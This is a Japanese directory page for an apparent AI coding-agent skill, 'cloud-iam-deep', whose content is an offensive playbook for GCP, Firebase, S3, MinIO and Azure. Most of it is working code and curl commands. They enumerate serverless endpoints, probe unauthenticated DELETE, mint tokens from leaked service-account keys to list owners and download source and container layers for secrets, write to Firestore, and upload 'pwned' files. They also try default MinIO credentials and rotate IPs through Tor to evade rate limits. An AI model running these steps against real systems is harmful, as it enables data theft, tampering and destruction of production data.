mcpField
C
cloud-iam-deep

cloud-iam-deep

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

cloud-iam-deep について

GCP、Firebase、S3、MinIO、Azure の公開状態にあるクラウドサービスやストレージを評価するセキュリティ調査スキルです。エンドポイントの探索、アクセス確認、許可された評価での検証手順をまとめています。

主な機能

  1. 01GCP Cloud Functions と Cloud Run の確認
  2. 02サービスアカウントトークンとソースバケットの調査
  3. 03Firebase 登録と Firestore アクセスのテスト
  4. 04S3、MinIO、Azure Blob の確認

活用シーン

  1. 01公開されたサーバーレスエンドポイントの評価
  2. 02サービスアカウントキー発見後のクラウドアクセス調査
  3. 03ストレージの公開状態や書き込み可否の確認
  4. 04Firebase プロジェクトのアクセス制御の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill cloud-iam-deep

インストール後、Claude Code で/cloud-iam-deepを入力して読み込まれたか確認します。

詳細

クラウド IAM の詳細 — Cloud Functions、ストレージ、IAM の悪用

使用するタイミング

  • Firebase API キー、Supabase キー、または GCP SA キーを見つけた後
  • ターゲットがサーバーレス(Cloud Functions、Cloud Run)を使用している場合
  • S3 バケット名または MinIO インスタンスを見つけた後
  • 1 つの SA キーからクラウドへの完全なアクセス権限に昇格できる場合

Cloud Functions の URL パターン(GCP)

https://{REGION}-{PROJECT_ID}.cloudfunctions.net/{FUNCTION_NAME}
https://us-central1-{PROJECT_ID}.cloudfunctions.net/api/feed

PROJECT_ID の特定

projects = ["empresa", "empresa-app", "empresa-prod", "empresa-dev",
            "empresa-1", "empresa-12345", "app-empresa", "admin-1a2b3"]
regions = ["us-central1", "us-east1", "southamerica-east1", "europe-west1"]

for proj in projects:
    for region in regions:
        url = f"https://{region}-{proj}.cloudfunctions.net/api/feed?limit=1"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code != 404 and len(r.text) > 20:
                print(f"DONE {url} -> {r.status_code}")
        except:
            pass

認証なしでの HTTP メソッドのテスト

methods = {
    "GET": requests.get,
    "POST": lambda u: requests.post(u, json={"test": "test"}),
    "PUT": lambda u: requests.put(u, json={"test": "test"}),
    "DELETE": lambda u: requests.delete(u),
}

for method_name, method_func in methods.items():
    try:
        r = method_func(url)
        if r.status_code not in [401, 403, 404, 405]:
            print(f"WARN {method_name} {url} -> {r.status_code} (ACCEPTED!)")
    except:
        pass

実際の事例(重大):フィットネス系テクノロジープラットフォームの Cloud Functions 6 件:

  • 認証なしの GET — 投稿 15,800 件以上、ユーザー 389 人以上、実在する学生のデータをダンプ
  • 認証なしの DELETE — 本番データの破壊を確認
  • 6 件すべての関数で CORS が反射 — 通りすがりの攻撃が可能
  • PDF トークン 705 件が漏えい

ソースコードのバケット(gcf-sources-*)

gcf-sources-{PROJECT_NUMBER}-{REGION}
gcf-v2-sources-{PROJECT_NUMBER}-{REGION}

SA キーに読み取り権限がある場合:

const {Storage} = require('@google-cloud/storage');
const storage = new Storage({credentials: sa});
const bucket = storage.bucket('gcf-sources-706681009423-us-central1');
const [files] = await bucket.getFiles();
for (const f of files.filter(f => f.name.endsWith('.zip'))) {
    await f.download({destination: '/tmp/' + f.name.replace(/\//g, '_')});
}

サービスアカウントキーから GCP トークンを生成

import json, base64, time, requests
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.backends import default_backend

def get_gcp_token(sa_key):
    """Generates a GCP access token from an SA key."""
    now = int(time.time())
    header = base64.urlsafe_b64encode(
        json.dumps({"alg":"RS256","typ":"JWT"}).encode()
    ).rstrip(b'=').decode()
    claims = {
        "iss": sa_key['client_email'],
        "scope": "https://www.googleapis.com/auth/cloud-platform",
        "aud": sa_key['token_uri'],
        "iat": now,
        "exp": now + 3600
    }
    payload = base64.urlsafe_b64encode(json.dumps(claims).encode()).rstrip(b'=').decode()
    key = load_pem_private_key(
        sa_key['private_key'].encode(), password=None, backend=default_backend()
    )
    signature = base64.urlsafe_b64encode(
        key.sign(f'{header}.{payload}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    ).rstrip(b'=').decode()

    resp = requests.post(sa_key['token_uri'],
        data=f'grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&assertion={header}.{payload}.{signature}'.encode(),
        headers={'Content-Type':'application/x-www-form-urlencoded'}, timeout=10)
    return resp.json()['access_token']

# List IAM policy (find owners/admins)
r = requests.get(
    f'https://cloudresourcemanager.googleapis.com/v1/projects/{project_id}:getIamPolicy',
    headers={'Authorization': f'Bearer {token}'}
)
for binding in r.json().get('bindings', []):
    if binding['role'] in ['roles/owner', 'roles/editor']:
        print(f"ROLE {binding['role']}: {binding['members']}")

# List Storage buckets
r = requests.get(
    f'https://storage.googleapis.com/storage/v1/b?project={project_id}',
    headers={'Authorization': f'Bearer {token}'}
)
for bucket in r.json().get('items', []):
    print(f"BUCKET {bucket['name']}")

# Test Firestore access
r = requests.get(
    f'https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents',
    headers={'Authorization': f'Bearer {token}'}
)
if r.status_code == 200:
    print("FIRESTORE ACCESSIBLE")

Firebase のオープンなサインアップ

curl --max-time 30 --connect-timeout 10 -s "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY"   -H "Content-Type: application/json"   -d '{"email":"[email protected]","password":"Senha123!","returnSecureToken":true}'

Firestore の公開アクセスをテスト

curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY"
curl --max-time 30 --connect-timeout 10 -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores?key=$API_KEY"

# Test WRITE
curl --max-time 30 --connect-timeout 10 -X PATCH "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/stores/ID?updateMask.fieldPaths=fieldName"   -H "Content-Type: application/json"   -d '{"fields":{"fieldName":{"stringValue":"test"}}}'

実際の事例(重大):配送プラットフォーム — Firebase プロジェクト 3 件:

  • 店舗 4,000 件(CNPJ、GPS、電話番号、メニュー)+PATCH による書き込みを確認
  • WhatsApp の会話 204,000 件、顧客の電話番号 173,000 件
  • Storage に公開された MP3 音声ファイル 1,000 件以上

Cloud Run サービスの一覧表示

const {v2} = require('@google-cloud/run');
const client = new v2.ServicesClient({credentials: sa});
const [services] = await client.listServices({
    parent: 'projects/' + projectId + '/locations/us-central1'
});
for (const svc of services) {
    console.log(svc.name, svc.uri, svc.ingress);
}

Artifact Registry のイメージのダウンロードと分析

# List repositories
r = requests.get(
    f'https://artifactregistry.googleapis.com/v1/projects/{project}/locations/{region}/repositories',
    headers={'Authorization': f'Bearer {token}'}
)

# Download specific image manifest
digest = "sha256:XXXXX"
r = requests.get(
    f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/manifests/{digest}',
    headers={'Authorization': f'Bearer {token}',
             'Accept': 'application/vnd.docker.distribution.manifest.v2+json'}
)

# Download layers
for i, layer in enumerate(r.json().get('layers', [])):
    r2 = requests.get(
        f'https://{region}-docker.pkg.dev/v2/{project}/{repo}/{image}/blobs/{layer["digest"]}',
        headers={'Authorization': f'Bearer {token}'}
    )
    with open(f'/tmp/layer_{i}.tar.gz', 'wb') as f:
        f.write(r2.content)

# Extract and search for secrets
# tar -xzf layer.tar.gz
# grep -rE "MIGRATION_TOKEN|APP_KEY|DB_PASSWORD" .

S3 バケットの列挙とアップロードのテスト

# Test if bucket is public
curl --max-time 30 --connect-timeout 10 -s "http://bucket-name.s3.amazonaws.com/"

# Upload (if writable)
curl --max-time 30 --connect-timeout 10 -X PUT "http://bucket-name.s3.amazonaws.com/test.txt"   -H "Content-Type: text/plain" -d "pwned"

# Test common bucket names
for b in "target" "target-prod" "target-dev" "target-images" "target-uploads"          "target-backup" "target-media" "download.target.com" "static.target.com"; do
  r=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "https://$b.s3.amazonaws.com/" 2>/dev/null)
  [ "$r" != "404" ] && echo "$b -> HTTP $r"
done

MinIO のヘルスチェックと管理 API

# Health check
curl --max-time 30 --connect-timeout 10 -sI "http://host:9000/minio/health/live"

# Admin API
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/minio/admin/v3/info"

# Web console login (port 9001)
curl --max-time 30 --connect-timeout 10 -X POST "http://host:9001/api/v1/login"   -H "Content-Type: application/json"   -d '{"accessKey":"minioadmin","secretKey":"minioadmin"}'

# List bucket objects
curl --max-time 30 --connect-timeout 10 -s "http://host:9000/bucket-name?list-type=2"

# Upload
curl --max-time 30 --connect-timeout 10 -X PUT "http://host:9000/bucket-name/file.html"   -H "Content-Type: text/html; charset=utf-8" -d "<h1>Pwned</h1>"

Azure Blob Storage のテスト

# URL pattern: https://{storage_account}.blob.core.windows.net/{container}
curl --max-time 30 --connect-timeout 10 -s "https://storageaccount.blob.core.windows.net/container?restype=container&comp=list"

注意点

問題解決策
SA キーが失効している使用状況を監視し、慎重にキーをローテーションする
レート制限リクエスト間隔を空け、Tor 経由で IP をローテーションする
プロジェクト ID の誤検出詳細なテストの前に、簡単な GET で確認する
Cloud Run の ingress=internalVPC 内からのみアクセス可能。VPN が必要

検証

# Verify SA key works
python3 -c "from google.oauth2 import service_account; creds = service_account.Credentials.from_service_account_file('sa.json'); print(creds.valid)"
# Verify Cloud Function
curl --max-time 30 --connect-timeout 10 -s "https://us-central1-PROJECT.cloudfunctions.net/FUNC" | head -5

コメント